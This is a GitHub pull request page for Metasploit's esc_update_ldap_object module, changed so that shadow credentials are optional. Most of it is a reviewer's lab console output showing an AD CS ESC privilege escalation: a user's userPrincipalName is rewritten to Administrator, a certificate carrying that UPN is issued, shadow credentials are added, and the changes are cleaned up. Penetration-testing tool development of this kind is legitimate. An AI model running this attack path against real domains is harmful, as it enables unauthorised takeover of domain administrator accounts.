-
Couldn't load subscription status.
- Fork 14.6k
Update esc_update_ldap module so shadow creds not required #20566
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update esc_update_ldap module so shadow creds not required #20566
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Works as expected
TARGET_PASSWORDis set
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run verbose=true
[*] Running module against 10.5.132.180
[*] 10.5.132.180:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 10.5.132.180:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] Current value of msfuser's userPrincipalName: [email protected]
[*] Attempting to update userPrincipalName for CN=msfuser,CN=Users,DC=example,DC=com to Administrator...
[+] Successfully updated CN=msfuser,CN=Users,DC=example,DC=com's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 10.5.132.180:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.5.132.180:445 - Binding to \cert...
[+] 10.5.132.180:445 - Bound to \cert
[*] 10.5.132.180:445 - Requesting a certificate for user msfuser - digest algorithm: SHA256 - template: User
[+] 10.5.132.180:445 - The requested certificate was issued.
[*] 10.5.132.180:445 - Certificate Policies:
[*] 10.5.132.180:445 - Certificate UPN: Administrator
[!] 10.5.132.180:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.180:445 - Certificate stored at: /home/ms/.msf4/loot/20251001080340_default_10.5.132.180_windows.ad.cs_993110.pfx
[*] 10.5.132.180:445 - Reverting ldap object
[*] 10.5.132.180:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 10.5.132.180:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] Current value of msfuser's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=msfuser,CN=Users,DC=example,DC=com to [email protected]...
[+] Successfully updated CN=msfuser,CN=Users,DC=example,DC=com's userPrincipalName to [email protected]
[+] The operation completed successfully!
[*] Auxiliary module execution completed
TARGET PASSWORDis not set,TARGET_USERNAME==LDAPUsername
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run verbose=true
[*] Running module against 10.5.132.180
[*] 10.5.132.180:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 10.5.132.180:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] Current value of Administrator's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=Administrator,CN=Users,DC=example,DC=com to Administrator...
[+] Successfully updated CN=Administrator,CN=Users,DC=example,DC=com's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 10.5.132.180:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.5.132.180:445 - Binding to \cert...
[+] 10.5.132.180:445 - Bound to \cert
[*] 10.5.132.180:445 - Requesting a certificate for user Administrator - digest algorithm: SHA256 - template: User
[+] 10.5.132.180:445 - The requested certificate was issued.
[*] 10.5.132.180:445 - Certificate Policies:
[*] 10.5.132.180:445 - Certificate UPN: Administrator
[!] 10.5.132.180:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.180:445 - Certificate stored at: /home/ms/.msf4/loot/20251001080506_default_10.5.132.180_windows.ad.cs_600856.pfx
[*] 10.5.132.180:445 - Reverting ldap object
[*] 10.5.132.180:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 10.5.132.180:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] Attempting to delete attribute userPrincipalName from CN=Administrator,CN=Users,DC=example,DC=com...
[+] Successfully deleted attribute userPrincipalName from CN=Administrator,CN=Users,DC=example,DC=com
[+] The operation completed successfully!
[*] Auxiliary module execution completed
TARGET PASSWORDis not set,TARGET_USERNAME!=LDAPUsername
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run verbose=true
[*] Running module against 10.5.132.180
[*] 10.5.132.180:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 10.5.132.180:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] Current value of msfuser's userPrincipalName: [email protected]
[*] Attempting to update userPrincipalName for CN=msfuser,CN=Users,DC=example,DC=com to Administrator...
[+] Successfully updated CN=msfuser,CN=Users,DC=example,DC=com's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 10.5.132.180:445 - Adding shadow credentials for msfuser
[*] 10.5.132.180:445 - Loading admin/ldap/shadow_credentials
[*] 10.5.132.180:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 10.5.132.180:389 Discovered base DN: DC=example,DC=com
[*] Successfully queried (sAMAccountName=msfuser).
[!] No active DB -- Credential data will not be saved!
[*] Certificate stored at: /home/ms/.msf4/loot/20251001080543_default_10.5.132.180_windows.ad.cs_716414.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 5d54d7de-3b29-6df6-5f04-866708dba976
[*] 10.5.132.180:445 - Loading admin/kerberos/get_ticket
[*] 10.5.132.180:445 - Getting hash for msfuser
[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
[-] Auxiliary aborted due to failure: unknown: Kerberos Error - KDC_ERR_CLIENT_NAME_MISMATCH (75) - PKINIT - KDC_ERR_CLIENT_NAME_MISMATCH
[*] 10.5.132.180:445 - Removing shadow credential
[*] 10.5.132.180:445 - Loading admin/ldap/shadow_credentials
[*] 10.5.132.180:445 - Running admin/ldap/shadow_credentials
[trimmed]
Release NotesThis updates the |
Updates
auxiliary/admin/dcerpc/esc_update_ldap_objectto work when using Shadow Credentials is not necessary. This accounts for scenarios where:LDAPUsername==TARGET_USERNAME) in order to exploit one of the ESC misconfigurations.TARGET_USERNAME(aTARGET_PASSWORDdatastore option has been added)Verification
Test the following three scenarios. When verifying, look to ensure the
Certificate UPNin the output is getting set to the value defined in theUPDATE_LDAP_OBJECT_VALUE.ex:
Certificate UPN: Administrator. Also ensure the module is cleaning up properly,UPDATE_LDAP_OBJECTis getting reset properly and the Shadow Credential is being removed if it gets created.Set
TARGET_PASSWORD(the password for theTARGET_USERNAME) see that the Shadow Credentials code path does not get run and the module still runs successfullyUnset
TARGET_PASSWORDand setTARGET_USERNAMEto the same user asLDAPUsernameand see that the Shadow Credentials code path does not get run and the module still runs successfullyConfirm the original exploit path still works. Where
LDAPUsername!=TARGET_USERNAME,TARGET_PASSWORDis unset and the Shadow Credentials method is used and is cleaned up afterwards